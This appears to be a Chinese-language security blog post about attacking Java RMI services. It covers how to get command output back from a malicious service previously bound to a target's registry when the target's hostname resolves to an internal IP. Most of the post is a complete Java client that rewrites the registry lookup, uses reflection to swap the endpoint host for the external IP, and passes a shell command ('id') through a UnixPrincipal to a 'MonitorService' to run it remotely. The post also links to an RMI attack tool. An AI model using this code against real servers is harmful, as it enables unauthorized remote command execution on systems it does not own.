之前利用绑定服务的方式实现了回显,但是在部分场景下存在网络问题导致无法实现回显。
分析 在服务绑定到注册中心时,服务的地址是通过解析Hostname得到。http://www.yulegeyu.com/2018/12/22/RMI-ReferenceWrapper-Stub-With-Hostname/
这里就存在了问题,很多时候目标的Hostname解析结果并不是外网IP而是本机 的内网IP,lookup时在客户端从注册中心拿到代理对象stub后,通过stub得到服务地址后,会在客户端与服务地址建立连接。如果是攻击外网的RMI服务,由于内网IP导致无法建立链接。
从nmap的扫描结果也能看出这个问题。 虽然是内网IP,但是由于高版本JDK中注册中心和服务端必须在同一台机器上,所以通常这个内网IP都是本机的内网IP。那么只要将这个内网IP修改为外网IP,不存在安全策略的情况下依然能调用服务实现回显。
sun.rmi.registry.RegistryImpl_Stub#lookup 接下来就走了一遍整个流程,发现只要修改了该方法中的var2对象中的incomingRefTable属性中的Host即可解决问题,这里通过反射修改该属性值。
最开始准备使用Java Agent来解决,后面发现不用Hook直接将lookup方法给抽取出来也行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 public class RMIClient extends RemoteObject { private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)" ), new Operation("java.lang.String list()[]" ), new Operation("java.rmi.Remote lookup(java.lang.String)" ), new Operation("void rebind(java.lang.String, java.rmi.Remote)" ), new Operation("void unbind(java.lang.String)" )}; private RemoteRef ref = null ; private String ip = null ; public Remote lookup (String var1) throws AccessException, NotBoundException, RemoteException { try { StreamRemoteCall var2 = (StreamRemoteCall)this .ref.newCall(this , operations, 2 , 4905912898345647071L ); try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var15) { throw new MarshalException("error marshalling arguments" , var15); } this .ref.invoke(var2); Remote var20; try { ObjectInput var4 = var2.getInputStream(); var20 = (Remote)var4.readObject(); Field f = var2.getClass().getDeclaredField("in" ); f.setAccessible(true ); Object conn = f.get(var2); f = conn.getClass().getDeclaredField("incomingRefTable" ); f.setAccessible(true ); HashMap rets = (HashMap) f.get(conn); Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next(); f = entry.getKey().getClass().getDeclaredField("host" ); f.setAccessible(true ); f.set(entry.getKey(), this .ip); } catch (IOException | ClassNotFoundException | ClassCastException var13) { throw new UnmarshalException("error unmarshalling return" , var13); } finally { this .ref.done(var2); } return var20; } catch (RuntimeException var16) { throw var16; } catch (RemoteException var17) { throw var17; } catch (NotBoundException var18) { throw var18; } catch (Exception var19) { throw new UnexpectedException("undeclared checked exception" , var19); } } public static void main (String[] args) throws Exception { String command = "id" ; String ip = "ip" ; Registry registry = LocateRegistry.getRegistry(ip, port); Subject subject = new Subject(); Field f = subject.getClass().getDeclaredField("principals" ); f.setAccessible(true ); Set set = new HashSet(); UnixPrincipal unixPrincipal = new UnixPrincipal(command); set.add(unixPrincipal); f.set(subject, set); f = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref" ); f.setAccessible(true ); RMIClient r = new RMIClient(); r.ref = (RemoteRef) f.get(registry); r.ip = ip; System.out.println(((RMIConnection)r.lookup("MonitorService" )).getDefaultDomain(subject)); } }
使用原生lookup时,建立连接失败导致无法回显命令结果。
使用修改后的lookup方法成功回显。
工具 https://github.com/A-D-Team/attackRmi